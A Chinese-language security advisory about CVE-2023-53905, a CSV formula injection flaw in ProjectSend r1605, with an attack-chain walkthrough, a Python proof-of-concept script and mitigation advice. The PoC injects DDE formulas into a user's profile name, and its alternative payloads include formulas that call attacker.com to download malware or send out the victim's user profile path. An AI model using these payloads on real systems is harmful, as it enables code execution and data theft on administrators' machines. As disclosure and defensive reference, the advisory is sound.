IPBUF安全漏洞报告
English
CVE-2023-53905 CVSS 8.0 高危

CVE-2023-53905 ProjectSend CSV注入漏洞导致远程代码执行

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53905
漏洞类型
CSV注入
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ProjectSend

相关标签

CSV注入公式注入远程代码执行ProjectSendCVE-2023-53905高危漏洞身份验证绕过Web应用安全文件导出漏洞

漏洞概述

CVE-2023-53905是ProjectSend r1605版本中存在的一个高危CSV注入漏洞。该漏洞允许经过身份验证的低权限用户在用户配置名称字段中注入恶意公式。当管理员导出系统操作日志为CSV格式文件时,攻击者注入的恶意公式会被Excel或LibreOffice等电子表格软件解析执行,从而触发远程代码执行。攻击者可以利用此漏洞在受害者的计算机上执行任意命令,例如下载恶意软件、窃取敏感数据或建立持久化后门。由于该漏洞需要用户交互(管理员导出CSV文件),攻击复杂度相对较高,但一旦利用成功,攻击者可以获得完全的系统控制权。该漏洞的CVSS评分为8.0,属于高危级别,对系统的机密性、完整性和可用性都造成严重影响。建议受影响的用户尽快升级到最新版本或采取临时缓解措施。

技术细节

ProjectSend是一款开源的文件共享和传输管理应用。在r1605版本中,系统的用户配置管理功能存在CSV注入漏洞。漏洞的根本原因在于应用程序在处理用户名称字段时,未对用户输入进行充分的输出编码和验证。当应用程序将用户数据导出为CSV格式时,用户输入的特殊字符(如等号、加号、减号等)会被电子表格软件识别为公式前缀。攻击者可以在用户配置名称字段中注入恶意载荷,例如:=calc|a!z| 或 =HYPERLINK() 等公式。当管理员通过系统的日志导出功能导出CSV文件并用Microsoft Excel或LibreOffice Calc打开时,这些恶意公式会被自动执行。在某些配置下,攻击者可以利用公式执行系统命令,例如通过powershell或cmd调用外部程序。攻击成功的前提条件包括:1)攻击者拥有有效的低权限账户;2)管理员需要导出包含该用户数据的CSV文件;3)受害者使用支持公式解析的电子表格软件打开CSV文件。攻击者可以利用此漏洞绕过传统的安全边界,在受害者环境中实现代码执行。

攻击链分析

STEP 1
步骤1
攻击者获取ProjectSend系统的低权限账户,登录到目标系统
STEP 2
步骤2
攻击者在用户配置页面的名称字段中注入恶意CSV公式载荷,如=calc|a!z|
STEP 3
步骤3
系统将包含恶意公式的用户数据存储到数据库中
STEP 4
步骤4
管理员访问系统日志导出功能,生成包含攻击者恶意数据的CSV文件
STEP 5
步骤5
管理员使用Microsoft Excel或LibreOffice Calc等软件打开CSV文件
STEP 6
步骤6
电子表格软件自动解析并执行恶意公式,触发代码执行
STEP 7
步骤7
攻击者成功在受害者计算机上执行任意命令,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2023-53905 - ProjectSend CSV Injection # Attack Vector: Inject malicious formula into user profile name # When admin exports logs as CSV, the formula gets executed # Step 1: Create malicious payload payload = '=calc|a!z|' # This triggers calculator on Windows # Alternative payloads: payload2 = '=HYPERLINK("http://attacker.com/malware.exe")' # Download malware payload3 = '=cmd|\'/c calc\'|\'!A1\'' # Direct command execution payload4 = '=WEBSERVICE("http://attacker.com/?"&USERPROFILE)' # Data exfiltration # Step 2: Register new user with malicious name via API or web interface # POST /includes/actions.php (or similar endpoint) import requests target_url = "http://target-projectsend.com" login_url = f"{target_url}/login.php" profile_url = f"{target_url}/users-profile.php" session = requests.Session() # Login with low-privilege account login_data = { 'username': 'attacker_user', 'password': 'attacker_password', 'submit': 'Log In' } session.post(login_url, data=login_data) # Step 3: Update user profile with malicious name profile_data = { 'name': '=calc|a!z|', # Malicious CSV injection payload 'email': '[email protected]', 'submit': 'Update Profile' } session.post(profile_url, data=profile_data) # Step 4: Wait for admin to export logs as CSV # When admin opens the exported CSV file, code execution occurs print("[+] Payload injected successfully") print("[+] Wait for admin to export CSV and open file")

影响范围

ProjectSend r1605及之前所有版本

防御指南

临时缓解措施
在官方修复版本发布之前,可以采取以下临时缓解措施:1)禁用或限制CSV导出功能的使用;2)对导出的CSV文件进行手动检查,删除或转义可疑的公式字符;3)在电子表格软件中设置安全选项,禁用自动公式执行;4)使用纯文本编辑器(如Notepad)打开CSV文件而非电子表格软件;5)限制低权限用户修改用户配置名称的权限;6)加强用户输入验证,对特殊字符进行过滤;7)监控和审计系统日志,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表